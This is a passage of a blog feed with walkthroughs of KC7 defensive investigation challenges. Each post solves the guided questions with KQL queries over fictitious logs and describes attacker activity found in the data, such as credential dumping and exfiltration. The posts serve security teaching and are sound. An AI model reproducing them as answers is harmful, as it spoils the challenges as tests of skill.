I use the ≥ operator, but you can use &gt; on its own.</p><pre>| where timestamp &gt;= datetime(&#39;2022-01-07 13:24:12.328613&#39;)</pre><p>There are only four entries including the original file, and the second one is the one we want; we could have filtered with filename endswith “.dll” to just get the relevant result.</p><p><strong>Q5a — The dll file from (5) is observed on Virustotal under what file name?</strong><br>Feed the sha256 hash to <a href="https://www.virustotal.com/gui/home/search">VT</a>.</p><p><strong>Q5b — Which six letter reconnaissance command was executed on the Machine of the user that loaded the implant from (5)?</strong><br>Take note of the timestamp (when the .dll file appeared on the machine), because we’ll look at commands appearing afterwards. Let’s go to ProcessEvents, and once again filter with the same hostname. The first two results should have the filename found in Q5 in the parent_process_name column. The answer to this question can be found in the process_commandline column, first entry.</p><p><strong>Q5c — What IP address does the dll from (5) beacon to?</strong><br>Still using the results from our previous query, look at the second entry. The process_commandline field contains an IP address and a port number.</p><p><strong>Q6 — What is the domain name of the legitimate service the adversary used to exfiltrate data from the victim machine?</strong><br>If you scroll down the result from the same query we’ve been using for the previous two questions, you’ll notice a few things:<br>* the threat actor uses Mimikatz to dump credentials to a file called ftp.txt<br>* the TA copies the content of three different folders to another one called F:\exfil\Users\<br>* and finally the TA uses a curl command to send the compressed exfil folder to a URL.<br>The domain contained in that URL is the answer.</p><h3>Section 3 — Phishing and more</h3><p><strong>Q1a — How many emails contained the domain clan[.]io?<br>Q1b — What email address sent the domain clan[.]io?<br>Q1c — What was the subject line of the emails containing the domain clan[.]io?</strong><br>We will use basically the same query for those three questions.<br>Go to the Email table, look for any link containing ‘clan[.]io’ (remove the brackets). The number of results will be the answer to 1a. You can distinct the sender for 1b, but it’s the same for all results. Idem for 1c and the subject field.</p><p><strong>Q1d — What is the name of the user who clicked on the clan[.]io link?</strong><br>Go to OutboundBrowsing with the full url found in the mails (it’s always the same).<br>Remember in the previous section when I told you we couldn’t join because the column names were not the same? WELL. Turns out you can rename a column using project-rename. Which is what I did here, so I could join the result with the Employees table, because I was too lazy to copy-paste the IP address… The answer is in the newly added name column.</p><figure><img alt="Screenshot of the query" src="https://cdn-images-1.medium.com/max/342/1*vZzTGD-CxOy2c3gftPXkBA.png" /></figure><p><strong>Q2a — What actor IP was used to compromise the account of the user identified in (1d)?</strong><br>Before we switch table, let’s take note of the username and their IP address. We need to go to AuthenticationEvents, use the username as the main filter, and then filter out the IP address. You should get only one result, successful.</p><p><strong>Q2b— How many accounts did the actor compromise using the IP identified in (2)?</strong><br>Now use the IP address we just found as a filter on src_ip, and add a filter to only get the successful logins. The number of entries is the answer.</p><p><strong>Q3 — What .info domain shared IPs with domain clan[.]io?</strong><br>We’ll use the same method as we did for S2Q4: go to PassiveDns, save the IP related to clan[.]io in a variable, then use that variable to find all the domains related to those IPs, and find the one that ends with “.info”.</p><p><strong>Q4a — Which password (hash) was used in failed login attempts against 40 unique accounts?</strong><br>First, let’s save all the internal IPs in a let statement, so we can filter out all the instances where the src_ip belongs to an employee. Once we’ve done that in AuthenticationEvents, let’s also add a filter to only get the Failed Login. Then we have to count all the instances of each hash; since it has to be per unique account, we will prefer the dcount() function.</p><pre>| summarize dcount(username) by password_hash</pre><p>You always have to start with summarize when you want to use count() or dcount(). We use username as a parameter for dcount() because we want the total of unique (or distinct) user per hash.<br>Then what I personally like to do is order them from highest to lowest to get the big picture, but you could also add a filter to only display the hash that has a count of 40 to get your answer. If you do look at the big picture, you’ll notice that there are other hashes that have been used a lot of times as well.</p><p><strong>Q4c — The login activity exhibited by the user agent above is an example of this attack (2 words)?</strong><br>(do not worry, there is no 4b)<br>Looking at the big picture like I mentioned should help you figure it out, use a search engine if needed.</p><p><strong>Q5 — The IPs associated via PassiveDNS with domain swindled.bio was searching for this term on the company website (2 words)</strong><br>First, let’s go to PassiveDns to find all the IPs related to that domain and save them in a variable. Then switch to InboundBrowsing and look for those IPs in the src_ip field. We can see the first result was a search made on your website. To get the query term, we can use parse_url(), and then url_decode() to get rid of the formatting (the % bit).</p><pre>| extend query = url_decode(tostring(parse_https://medium.com/url(url).[&#39;Query Parameters&#39;][&quot;query&quot;]))<br>// I did a oneliner, but you can break it down if you prefer<br>// the .[&#39;Query Parameters&#39;] is like the .Host we&#39;ve already seen<br>// the added [&quot;query&quot;] is so that it only returns the content of the &#39;query&#39; field<br>// tostring() is so that url_decode() can use the result of parse_url()</pre><p><strong>Q6 — One user was targeted at 21:52 on 2022–01–07 from the IP identified in (5)? Which actor domain was used to initially target this user via phishing?</strong><br>This question took me a while to figure out, because it’s wrong. The IPs from Q5 have nothing to do with the answer here. So all we really have to work with is the timestamp.<br>In AuthenticationEvents, look for a login attempt around that time. Since we do not have the exact timestamp, we can do:</p><pre>| where timestamp between (datetime(2022-01-07T21:52Z) .. datetime(2022-01-07T21:53Z))</pre><p>It will look at all the authentication attempts in that minute. We get one result. The src_ip is the one we found in Q2a, and it is a failed attempt. To get the user’s email address, either go find it in the Employees table manually using the username, or do a join like we’ve seen. Then take that email address to check what email the user has received. Thankfully, there are less than 10 entries. Look at the last one, it will be familiar as we’ve seen both sender and subject at the beginning of this section… The domain in that link is the answer.</p><p><strong>Q7 — Who was the IT associate targeted using the domain identified in (6)? (enter the user’s name, not their email)</strong><br>Look for the domain from Q6 in the link field. There are only three results. Save the recipients in a let statement, then go to Employees with it. Add a filter where role == ‘IT associate’ and you’ll get your answer.</p><p>And we’re done :)</p><p>This module is rated 2/5 spice, but I honestly found it easier than Eggstravaganza (also rated 2/5).</p><p>Next time, we’ll play a 3/5 spice module.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=9a792c9fb5f7" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[KC7 — Eggstravaganza walkthrough — Sections 3&4]]></title>
            <link>https://kellamity.medium.com/kc7-eggstravaganza-walkthrough-sections-3-4-484dbf5e7a7d?source=rss-5e167308fbb8------2</link>
            <guid isPermaLink="false">https://medium.com/p/484dbf5e7a7d</guid>
            <category><![CDATA[kc7]]></category>
            <category><![CDATA[walkthrough]]></category>
            <category><![CDATA[kql]]></category>
            <dc:creator><![CDATA[kellamity]]></dc:creator>
            <pubDate>Sun, 17 Mar 2024 18:43:00 GMT</pubDate>
            <atom:updated>2024-03-19T16:45:43.827Z</atom:updated>
            <content:encoded><![CDATA[<h3>KC7 — Eggstravaganza walkthrough — Sections 3&amp;4</h3><p>If you missed it, <a href="https://medium.com/p/013b47813e26">here</a>’s the walkthrough for Section 2.<br>Let’s dive in.</p><h3>Section 3</h3><h4>Q1 — A law enforcement agency informed HopsNStuff that an adversary was attempting to gain access to their company. They said the actor may have sent a PDF file called Ginger_beer_secret_recipe.pdf in February of 2023. What hostname had this file first?</h4><p>Go into FileCreationEvents, filter for filename. The answer is on the first line, under hostname.</p><h4>Q2 — When was this file created on the host machine?</h4><p>From the same query as Q1, exact same line, juste copy paste what’s in the timestamp field.</p><h4>Q3 — How many host machines total have a file with this observed filename (Ginger_beer_secret_recipe.pdf) ?</h4><p>Add a line to your previous query. You can distinct either on the hostname or the username.</p><h4>Q4 — What is the role of the employees of those host machines?</h4><p>Regardless of which field you used in Q3, save the result in a variable (a let statement). Then use that variable as a filter in the Employees table, and distinct the role field.</p><figure><img alt="Screenshot of the query described above." src="https://cdn-images-1.medium.com/max/419/1*1JIMHly9TdG0EL9KLjHqhw.png" /></figure><p>Be sure to be consistent though, if you chose the username for your let statement, you’ll have to use username in the Employees table as well.</p><h4>Q5 — Based on where the files are located on the hosts, how many files total are found within that same path? (Hint: count the total number of files across all the observed filepaths)</h4><p>Let’s go back to our very first query. A quick glance at the path field will reveal the file is always found in the same directory: C:\Users\<em>username</em>\ Downloads\ . Because the username changes each time, it’s easier to save all the distinct path in a let statement. But first, we need to parse those path to get rid of the filename. To do that, we’ll use the parse_path() function. Once that’s done and the variable is created, we just have to look for all the instances of those paths.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/447/1*6Po3h4ncS4nLpdPexU0chw.png" /></figure><h4>Q6 — How many of those files are PDFs?</h4><p>Add a line to the previous query:</p><pre>| where filename endswith &quot;.pdf&quot;</pre><h4>Q7 — How many distinct PDF filenames are there from the previous question?</h4><p>Just distinct the filename on the previous query.</p><h4>Q8 — Did any of the other files hit on security alerts? Answer “None” if there weren’t any, or submit any of the other filenames that did.</h4><p>Save the results from Q7 in a variable. Then go to SecurityAlerts and see if any of those filenames appear in the description field. We should get 4 hits. But looking at the first result, you’ll notice that’s the file from Q1, so let’s filter it out. Once that’s done, there’s only one alert left.</p><figure><img alt="Again, just a screenshot of the query described above." src="https://cdn-images-1.medium.com/max/459/1*ekF8TyFUKwAcXyqK2WcMAg.png" /></figure><h4>Q9 — Were there any additional host machines identified from the answer from the previous question? Answer “None” if there weren’t any, or submit any of the other hostnames you identified.</h4><p>I hope you kept the variable from Q4 around. Otherwise, recreate it, because we’re going to need it.<br>Go back to FileCreationEvents, and filter with the filename you just found in Q8. Then filter OUT the hostnames from Q4:</p><pre>| where not(hostname in (yourvariable))</pre><p>Distinct the hostname. You should only get one result.</p><h4>Q10 — Let’s investigate where the two suspicious pdf files came from. How many emails had a reference to the file(s)?</h4><p>Because I’m lazy, I save the two filenames in a variable; but you can also type a full query saying | where filename == ‘<em>filename1’</em> or filename == ‘<em>filename2’</em>.<br>Regardless of the method chosen, go to the Email table to look for those two files in the link field. If, like me, you think you’re query is wrong, no it’s not. That really is the result.</p><h4>Q11 — How many Outbound connections referenced the file(s)?</h4><p>To prove your query from Q10 was working, you’re going to do the exact same thing in OutboundNetworkEvents. Just change link for url. See? It works perfectly fine ;)</p><figure><img alt="The query, with my let statement that goes like this: let evilFiles = dynamic([“filename1&quot;, “filename2&quot;])" src="https://cdn-images-1.medium.com/max/802/1*yoEMAaLpt07DXcrH8Zv04Q.png" /></figure><h4>Q12 — How many distinct domains were observed in links containing these filenames?</h4><p>I like to use parse_url().Host to get only the domain part of a url. Then distinct those domains. Note that because parse_url() results in a dynamic array, you have to convert it back to string, because distinct cannot work with dynamic values.</p><figure><img alt="The full query." src="https://cdn-images-1.medium.com/max/796/1*iz5uOLhuPkKEnZ9_R_5gEg.png" /></figure><h4>Q13 — How many unique file(s) are referenced from the identified domains?</h4><p>Save the domains from Q12 in a variable. Then, still in the same table, look for all the urls containing those domains. After that, to get only the filenames, I took a multistep approach. First, I parse the urls (again), but this time with .Path. Then I parsed those paths (like in Q5) with .Filename. But not all url had a filename in it, so I get ‘empty’ results thrown in the mix, which I have to filter out. Thankfully there is also a function for that: isnotempty(). Finally, you can distinct what is left.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/760/1*FEt8l4bzzzo-a6lj2YXMZA.png" /></figure><h4>Q14 — Based on your investigation, HopsNStuff may have been a victim of what type of initial attack?</h4><p>No query to do here, just brain power and a bit of googling if needed. To help you out, here’s what I can say: we saw emails were not involved, so you can discard any type of phishing; what we saw though, is users going to a seemingly legitimate website and getting infected.</p><h4>Q15 — Let’s investigate this activity further. What’s the parentprocesshash of the tool that was used to steal user credentials? (Hint: Do some exploration of the machines that had the suspicious files)</h4><p>First, let’s create a variable for all the hostnames that have any of those two files. It’s exactly like the let statement done in Q4, but with both files (ideally with the variable you created for those rather than copy pasting their names). With it, let’s go to ProcessEvents. There is a lot of results to go through. Before wasting time looking through them manually, let’s look if we can find any mention of ‘password’ in the process_commandline field (use the ‘contains’ operator). You’ll find mention of Mimikatz, which is a tool to steal credentials. There you go, get your answer from the parent_process_hash field.</p><h4>Q16 — Investigate the running processes. There’s suspicious processes conducting reconnaissance. How many unique directory paths are these suspicious processes located in on infected host machines? (Find the recon command, and go identify its process parent file on disk)</h4><p>The most basic recon command I know of is whoami, so I start from there. I look for it in process_commandline, only on the infected machines. Find this command ‘cmd.exe whoami’ from three distinct parent processes. Save their names in a variable and switch to FileCreationEvents. There, I once again filter on the infected hosts, looking for those files. I follow the same method as Q5 to get the path stripped from the filename, and distinct them.</p><h4>Q17 — How many distinct filenames are located in these directory paths?</h4><p>Do not bother with a new query or anything, they mean the parent processes you found at the start of Q16.<br>Now what could have happened is, you looked at the other recon commands (because yes, there are others, they all start with cmd.exe, if you want to look for yourself now)(in fact, you should look at all of them for Q16, because it was not a guarantee that the ‘whoami’ command alone would yield the right result), in which case cmd.exe is among the parent processes. That one is not going to be in the directory you found in Q16.</p><h4>Q18 — Let’s look at the authentication logs for users related to the suspected infected hosts. How many distinct external IP addresses were observed logging into the users of those hosts? Hint: src_ip and the employee table IP addresses allow you get to get usernames.</h4><p>If you haven’t done it yet, create a variable for the usernames infected by the two files (or just modify the one you have with hostname). Also create a variable that contains all the users’ IP adresses. With those two variables, go to AuthenticationEvents, filter <strong>in</strong> the usernames and filter <strong>out</strong> the IP adresses. Also add a filter for successful login. Then distinct the src_ip field.</p><h4>Q19 — Which IP address appears to be located in South America? Hint: Check AbuseIPDB or MaxMind GeoIP2 Database + Q20 — How many IP addresses appear to be located in Asia?</h4><p>I went on MaxMind. Just copy-paste the whole list you got in Q18.</p><h4>Q21 — What file may have been used to exfiltrate data? (Hint: Look at the previously identified hosts and for query for data that would have multiple document extensions and domains)</h4><p>I will be honest, I had no idea what to look for (despite the hint), so my method is pretty ugly for that one. Go back to ProcessEvents, filter on the same compromised users as you’ve been doing this past questions. The command you’re looking for is way after the recon commands we saw in Q16–17. You’ll end up seeing a command line that does mentions multiple extensions (here they are if you want to filter with them: docx, xls, pdf, zip), domains, and contains the keywords copy and transfers. With that, you should be able to find the name of the file (the command starts with it anyway).</p><h4>Q22 — How many unique domains were used for exfiltration? Answer 0 if you did not find any.</h4><p>Do a distinct on the command you just found, the domain is the only thing that changes each time.</p><h4>Q23 — Let’s look at the most recent exfiltration activity and the domain used in Questions 21–22. What IP address does this domain resolve to? (Hint: choose the IP address closest to when the date of activity occured)</h4><p>If you haven’t touched at anything, the most recent should be the very last entry. You can also order the results so that it comes to the top. Just in case, here’s the timestamp for it: 2023–03–23T16:59:55Z (you need it anyway to compare and find the closest IP). Note the domain name, and go look for it in PassiveDNS. You should get 5 different IP addresses for it. Pick the one whose timestamp is closest to the one mentioned above.</p><h4>Q24 — Law enforcement agents say the threat actor may have searched for “egg” on the HopsNStuff’s website. How many distinct IP addresses do this?</h4><p>Go to InboundNetworkEvents, search for the term ‘egg’ in the url field (you can use the has operator). Distinct the src_ip field to get your answer.</p><h4>Q25 — Law enforcement agents also tell you that the threat actor may have used a batch file but REFUSE to elaborate any further. They tell you it’s classified. What command might they be referring to?</h4><p>A batch file is a type of text file that contains commands or scripts. Its extension is .bat.<br>Knowing that, go to ProcessEvents and look for ‘bat’ in process_commandline. The offending command should appear 66 times.</p><h4>Q26 — A very specific APT defined by Mandiant has used the exact same cmd.exe command used by this attacker and the same credential stealer for lateral movement. Which APT group is this? + Q27 — What is the name of one of non-Linux the backdoors used by the APT group from question 25?</h4><p>You’ll have to use a search engine for those two questions. Just know Mandiant has a very interesting pdf on that APT in which you will find the answer to Q27 rather easily (well, it might take you a couple tries like it did for me).</p><h4>Q28 — How many DNS records have domains with the word “moneybags”?</h4><p>Go to PassiveDns to look for it. The ‘has’ operator is enough.</p><h4>Q29 — On February 8, 2023, Robert Boyce’s machine had a file created with a single letter for its name. Search the hash of this file on VirusTotal. When was it first submitted?</h4><p>Go to the Employees table, and look for either the username or hostname of Robert Boyce. Then with it, go to FileCreationEvents. Here is a regex I made all by myself (I’m a beginner at regex, so I’m proud of it, shush):</p><pre>| where filename matches regex(&#39;^[a-z]\\.\\w+&#39;)<br>// you need to double the \ to escape it in KQL, otherwise it&#39;ll escape whatever is after it</pre><p>I used the hash of the first entry to feed into VirusTotal, I haven’t tried any of the others. Then go into the Details tab, the answer is under History.</p><h4>Q30 — Employee Cindy Lozano reported some strange activity with her email account. A weird file was seen in her Sent folder but she deleted it right away without looking at the name. What was the name of this file?</h4><p>This one is a bit tricky, because you will not find the answer in the Email table, but in the InboundNetworkEvents.<br>For this, go get that person’s username in the Employees table. Then switch to InboundNetworkEvents. In the url field, you’ll look for the username and the keyword ‘Sent’. The very end of the url has the filename.</p><h4>Q31 — Do you think this activity is linked to Section 2? Yes/No (It’s free points, but log down what you answered for future discussions).</h4><p>You answer what you want, for the reasons you want. I answered no because she wasn’t part of the compromised users we found so far, and that’s not how we’ve seen exflitration done in this section either.</p><h4>Q32 — On what date did this actor send their earliest email? YYYY-MM-DD + Q33 — On what date did this actor send their most recent email? YYYY-MM-DD</h4><p>The actor mentioned here is the one involved in Q30. <br>So first what you need to do is look for all the instances of mail exfiltration in InboundNetworkEvents. I used the keywords ‘login_user’ and ‘mailbox_folder’ to find all the relevant urls. Once you’ve got those, distinct the src_ips and save them in a variable. Then, take those IP addresses to PassiveDns to find all the related domains, that you will distinct and save in yet another variable. With that one, you’ll go to the Email table, and look for all the links that have the domains in them. If everything went right, you should have 89 records. The top result has the timestamp for Q32, the bottom one for Q33. Don’t forget they only ask for year-month-day, not the full timestamp.</p><h4>Q34 — What was the earliest time of day that this actor sent an email? (#AM/PM) + Q35 — What was the latest time of day that this actor sent an email? (#AM/PM)</h4><p>To get only the hours from the timestamp, I added the following to the query:</p><pre>| project hour = hourofday(timestamp)<br>| distinct hour | sort by hour asc</pre><p>Note that the hour is in the 24 format, so you’ll have to do mental gymnastics to convert it to AM/PM format (well, for Q35 anyway).</p><h3>Section 4</h3><h4>Q1 — IP 158.235.158.156 was observed exfiltrating data from mailboxes at HopsNStuff. How many mailboxes were affected?</h4><p>If you took a break and/or do not remember: go to InboundNetworkEvents, look for urls that have ‘login_user’ and ‘mailbox_folder’. And filter with the given IP.</p><h4>Q2 — How many total accounts did IP 158.235.158.156 successfully login into?</h4><p>Switch to AuthenticationEvents, filter with the IP and with successful result.</p><h4>Q3 — Who’s account was first accessed by IP 158.235.158.156? (username)?</h4><p>From the previous query, first line, under the username field.</p><h4>Q4 — What was the subject of the email that the user in (3) received leading to their account being compromised?</h4><p>Take note of the timestamp of the answer from Q3. Go find the email address for that user in the Employee table. Once you’ve got it, go to Email, filter for that email address in recipient, filter with the timestamp as well, you want everything before it. Order the results from most recent to oldest. You should see a mail coming from beer.beer@yahoo.fr, which you might remember from section 3. Also the mail is flagged as suspicious.</p><h4>Q5 — How many actor email addresses were observed associated with the subject in (4)?</h4><p>Still in the Email table, search for all instances of the subject found in Q4. You’ll find 11 emails. Don’t forget to also look at the reply_to field.</p><h4>Q6 — How many actor domains were observed associated with the subject in (5)?</h4><p>Small typo, it should say in (4). Anyway, use the query from Q5 and look at the distinct links, parse_url().Host them.</p><h4>Q7 — How many IP addresses were associated via PassiveDNS with the domains in (6)?</h4><p>You know the drill, save the domains in a variable, and go look for them in PassiveDns. Distinct them to find the right count.</p><h4>Q8 — How many top level domains (TLDs) are used by this actor (based on your observations so far)?</h4><p>Remember, TLDs is what comes after the . (like .com). There are not many domains yet, so a quick glance at them will give you the answer.</p><h4>Q9 — How many domains are associated with this actor? Look for patterns and build a query based on their infrastructure registration TTPs (Hint: between 75 and 300)</h4><p>This question took me a <strong>lot</strong> of time. Mainly because I cast my net too far and ended up out of scope for that section.<br>What you need to do is: go back to those senders/reply_to from Q5 and use them as a filter to find all the emails they sent. Then parse_url().Host the links to get a list of domains. You should get 33 of them and they all look pretty similar. In fact they’re all a repetition of 3 words (with or without dashes between them), in any order, from a list of 7 different words. And <strong>that</strong> is their infrastructure registration TTPs.<br>With that knowledge in hand, go back to PassiveDns. Create a regex query (mine is just below if you want) that will give you a long list of domains, that you need to distinct to get the wanted number.</p><pre>(beer|candy|ginger|hops|sweet|malt|craft|-){3}</pre><h4>Q10 — How many emails did this actor send?</h4><p>Save the domains you found in Q9 (yes, all of them) in a variable. Go back to the Mail table, and look for all the links containing one of them.</p><h4>Q11 — How many of this actor’s emails were actually delivered (not blocked)?</h4><p>Add a line to your previous query that filters out the verdict BLOCKED.</p><h4>Q12 — How many HopsNStuff employees clicked on more than 1 link from this actor?</h4><p>Save the links from the previous question in a variable, and go look for them in OutboundNetworkEvents. Then you need to check which users clicked on more than one link. For that use a dcount() function. Filter the results to only get the ones equal or superior to 2.<br>Now for some reason, the answer I got was not the answer that worked. So just for your information, substract one from your result.</p><figure><img alt="Screenshot of the query. Most important part: dcount(url) by src_ip" src="https://cdn-images-1.medium.com/max/352/1*3Gu_eDEiyI_FAIMRdop_TA.png" /></figure><h4>Q13 — How many accounts at HopsNStuff did this actor attempt to log into?</h4><p>Create a variable that contains the IP addresses related to the domains found in Q9. Then head over to AuthenticationEvents, and find all the attempts made from one of those IPs.</p><h4>Q14 — How many mail accounts did this actor exfiltrate data from? (Hint: Look for clear evidence of this.)</h4><p>First, let’s get only the account that were actually compromised (successfully logged into) from the previous query. Once you have them (you should have 35 usernames), save them into a variable, that you will then take to InboundNetworkEvents. Don’t forget to also filter with the IP addresses from the bad domains.</p><figure><img alt="Screenshot of the query with the 3 steps: the IPs, the compromised users, and the final query in InbiundNetworkEvents." src="https://cdn-images-1.medium.com/max/361/1*sD14ag9JglgaSVcprQpSBg.png" /></figure><p>And that’s it for this module :)<br>It’s rated as 2 spice out of 5, but I’ll be honest, as my fourth module, I found it quite difficult. That said, I really enjoyed it and learned a lot!</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=484dbf5e7a7d" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[KC7 — Eggstravaganza walkthrough— Section 2]]></title>
            <link>https://kellamity.medium.com/kc7-eggstravaganza-walkthrough-section-2-013b47813e26?source=rss-5e167308fbb8------2</link>
            <guid isPermaLink="false">https://medium.com/p/013b47813e26</guid>
            <category><![CDATA[soc-analyst]]></category>
            <category><![CDATA[blue-team]]></category>
            <category><![CDATA[kc7]]></category>
            <category><![CDATA[kql]]></category>
            <dc:creator><![CDATA[kellamity]]></dc:creator>
            <pubDate>Sun, 25 Feb 2024 16:26:27 GMT</pubDate>
            <atom:updated>2024-03-31T17:40:00.518Z</atom:updated>
            <content:encoded><![CDATA[<h3>KC7 — Eggstravaganza walkthrough— Section 2</h3><p>KC7 is a <strong>free</strong> platform focused on the blue side of cybersecurity. In each game, a fictitious company has been compromised, and you have to figure out what happened through guided questions. They use Azure Data Explorer and KQL, which are pretty accessible in my opinion (I had no previous experience when I started playing). I find it really fun and interesting, as they use real-world cases to base their games on.</p><p>Every game starts with a section (containing a dozen questions) that teaches you the basics of KQL (with a basic training guide linked, as well as the relevant dataset). I will not go through this section in any of my writeups, as they are all similar, and they are meant to get you started.</p><p>Eggstravaganza is the fourth game I played (going in the order they are displayed on the modules page), so I wasn’t going in totally blind. You can find it here: <a href="https://kc7cyber.com/challenges/38">https://kc7cyber.com/challenges/38</a> (login necessary; again, it is absolutely free).</p><p>This post will focus on <strong>Section 2</strong> only.</p><h4>Q1 — Let’s take a look at our SecurityAlerts. A security alert flagged on a file that was quarantined on March 31, 2023. Which host was this identified on?</h4><p>Go to the SecurityAlerts as mentioned, and filter on the timestamp field.</p><figure><img alt="SecurityAlerts filtered on timestamp &gt; provided day" src="https://cdn-images-1.medium.com/max/897/1*IAMaY1MSMRgEe_QS1qUZEg.png" /></figure><p>To get only the needed record, you can also add the filter:</p><pre>| where description has &quot;quarantined&quot;<br>//make sure you have the right string, otherwise you&#39;ll have to use contains</pre><h4>Q2 — Which employee uses this device? (the one found in Question 2)</h4><p>Go to the Employees table, and filter with the hostname you found.</p><h4>Q3 — How many unique hosts had this file on their system? (the file seen in the alert from question 1)</h4><p>If you haven’t taken note of the file, go back to the first query and get the .zip from the description field. Then go to the FileCreationEvents table and filter with the filename. Don’t forget to finish your query with <em>distinct hostname</em> to get the answer.</p><h4>Q4 — When was the earliest time this file was seen? (the file seen in the alert from question 1) Make sure to paste the exact timestamp from ADX</h4><p>Remove the distinct hostname from the query used in Q3, as it only shows the hostnames. The first line should be the earliest time; if not, you can just order them by clicking on the timestamp column header.</p><h4>Q5 — Investigate the earliest device that had this file. (the file seen in the alert from question 1) What’s the role of the employee who uses this host machine?</h4><p>In case it was not clear, they refer to the first entry we saw in Q4. Take note of either the hostname or username, and go look for it in the Employees table.</p><h4>Q6 — How many external emails did this employee (the one from question 5) receive based on the data you have?</h4><p>Before you leave the results from Q5, take note of the employee’s email address.<br>I went a slightly harder way to craft my query here. I saved all the internal email addresses in a variable to filter them out. What you can do instead is just add a filter that says <em>| where subject has “EXTERNAL”</em>, since all the externally inbound emails are flagged that way.</p><figure><img alt="My harder-than-necessary query. The answer is in the bottom right corner." src="https://cdn-images-1.medium.com/max/794/1*cSemOXm0YIDpiWUx5X7rXw.png" /></figure><h4>Q7 — How many external emails were sent to the employees from the unique host machines identified in Question 3?</h4><p>This is a multistep question, but the basic idea is exactly the same as Q6.<br>First you will need to save the hostnames in a variable (with a let statement). Then you have to get the corresponding email addresses from the Employees table, that you save in another variable. And then use that last variable as a filter in the Email table.</p><figure><img alt="Screenshot of the multistep query." src="https://cdn-images-1.medium.com/max/792/1*QsP9raK9QXdKdxOY7vfcPw.png" /></figure><h4>Q8 — From the emails you’ve found in Question 7, what is the email address of the sender that sent the most recent email that was BLOCKED?</h4><p>Keep the query from Q7 and add a filter on the verdict column. Note that you have to write BLOCKED in capital letters as == is case sensitive and will not return any results if you write it lowercase.<br>Also do not be like me, and remember that “most recent” means the last one (as the results are automatically ordered from oldest to latest).</p><h4>Q9 — What country is the email provider from the sender (8) headquartered in?</h4><p>Use whichever search engine you prefere.<br>I did not do any research for that one, because I remembered the country from a previous game in which it appeared.</p><h4>Q10 — Let’s investigate the file name that was flagged in Question 1. Look for this file in the emails you filtered for on Question 7. One of the emails marked SUSPICIOUS looks like it came from a partner company. What was the sender’s email address?</h4><p>Note: you can find all the partner companies in the Training Guide provided.<br>Go back to the query you used for Q7 and add a filter that looks for the filename in the link column (use the <em>contains</em> operator), as well as a filter for SUSPICIOUS on the verdict column.</p><h4>Q11 — When was this email sent? (the email from 10) Make sure to copy the exact timestamp + Q12 — What is the email in the reply_to field? (in the email form 10)</h4><p>Keep working from the results of the query used in Q10.</p><h4>Q13 — To what IP address does the domain in the ‘link’ field resolve to? Pick the IP address closest (in time) to when the email was sent to the employee in Question 11.</h4><p>To strip the link field down to only have the domain, use the following:</p><pre>project domain = parse_url(https://medium.com/link).Host<br>distinct tostring(domain)</pre><p>Note: you could also use <em>extend</em> instead of <em>project. project </em>will create an entirely new table in the result field under the name you’ll give it (here ‘domain’); while <em>extend</em> will add a column at the end of the initial result (try it to see the difference yourself).</p><p>From there you have a choice, either you save the domain in a variable like I did, or you just copy-paste the value to use directly in your query. Regardless, you have to switch to the PassiveDns table.</p><figure><img alt="My query with the let statement. Three results appear." src="https://cdn-images-1.medium.com/max/594/1*GMCWcyf-sdBh-TZsFsW4Gg.png" /></figure><h4>Q14 — At what time did the employee click on the link? (from the email in 10) Make sure to copy the exact timestamp</h4><p>Go back to the query from Q10, take note of the recipient email address and the full url in the link column. Next go to the Employees table and use the email address to find the corresponding ip address. Once you have it, go to OutboundNetworkEvents, query src_ip with it, and url with the link.</p><h4>Q15 — How many Unique domains hosting the same file were clicked by employees? (hint: count the number of unique domains, not the number of URLs)</h4><p>Stay in OutboundNetworkEvents. Look for url that <em>contains</em> the filename (the one you’ve been working with since the beginning of the section). Then use the <em>parse_url</em> technique I showed you in Q13 (don’t forget to modify it, it will not work with <em>link</em>).</p><h4>Q16 — Let’s look at the emails from Question 10. Some of the emails mention a programming language. What is it?</h4><p>Back to the Email table. If, like me, you don’t remember your query from Q10, just use the sender you found in Q10 (it is at least recorded in the answer field if you haven’t been taking notes) and the SUSPICIOUS verdict. You get only one result, but the answer is in the subject field.</p><h4>Q17 — Let’s look for any references to the answer from Question 16 in running processes. What’s the full command line that references the programming language?</h4><p>Switch to the ProcessEvents table and look for it in the <em>process_commandline</em> column.</p><h4>Q18 — How many unique hosts had this command line from the previous question?</h4><p>Since the command line was identical in all the results from the previous query, you can just add <em>| distinct hostname</em> to it.</p><h4>Q19 — Two of the Parent Process Names do not appear to be legitimate Windows executables. How many records in total have these Parent Process Names?</h4><p>First, look at the distinct parent processes, you will find three of them. If you have zero experience with Windows, you might find it hard to figure out which one is legitimate and which ones aren’t. A quick search online should help you out. Once you have them, base your query around them. What I did is I saved them in a let statement like you’ll see in the following screenshot:</p><figure><img alt="Saved the parent processes in a variable called susprocess and then filtered my next query with it." src="https://cdn-images-1.medium.com/max/792/1*6hacb-IWdGYxPeBYWGEdcw.png" /></figure><h4>Q20 — How many distinct hosts had these processes run on their systems?</h4><p>Just add a <em>distinct</em> line to your previous query.</p><h4>Q21 — When was the earliest time these processes were seen?</h4><p>Remove the <em>distinct</em> line you just added (to get the same query you had in Q19), and look at the timestamp of the first line in the result.</p><h4>Q22 — Look for where the file was first seen on a host. Where was this file located? Copy and paste the full path.</h4><p>By “file”, they mean the suspicious executables from Q19. If you haven’t saved them in a variable yet, I would recommend doing so now, unless you like typing everything all the time.<br>Go look for them in FileCreationEvents. Again, the first entry in the result should be the earliest.</p><h4>Q23 — What is the SHA256 hash of this file?</h4><p>Keep looking at that first entry from Q22.</p><h4>Q24 — Search this hash on virustotal.com. How many security vendors flagged this file as malicious?</h4><p>For some reason, it is not the first hash you have to feed to VT, but the second one (same file, different path, and different hash). Both will get a hit on VT, but they haven’t been flagged the same number of times.</p><h4>Q25 — Let’s look for the file in other places. What was the path for the file observed on March 13, 2023?</h4><p>Well, you can either craft a new query with a filename and timestamp filters. Or you can look at that second result I just mentioned in Q24 because the timestamp matches.</p><h4>Q26 — Now let’s look at that path across all of the devices. We’ve already seen some files here from our previous investigation. Which file haven’t we seen before?</h4><p>Note: to filter the path, you have to escape the \ character, 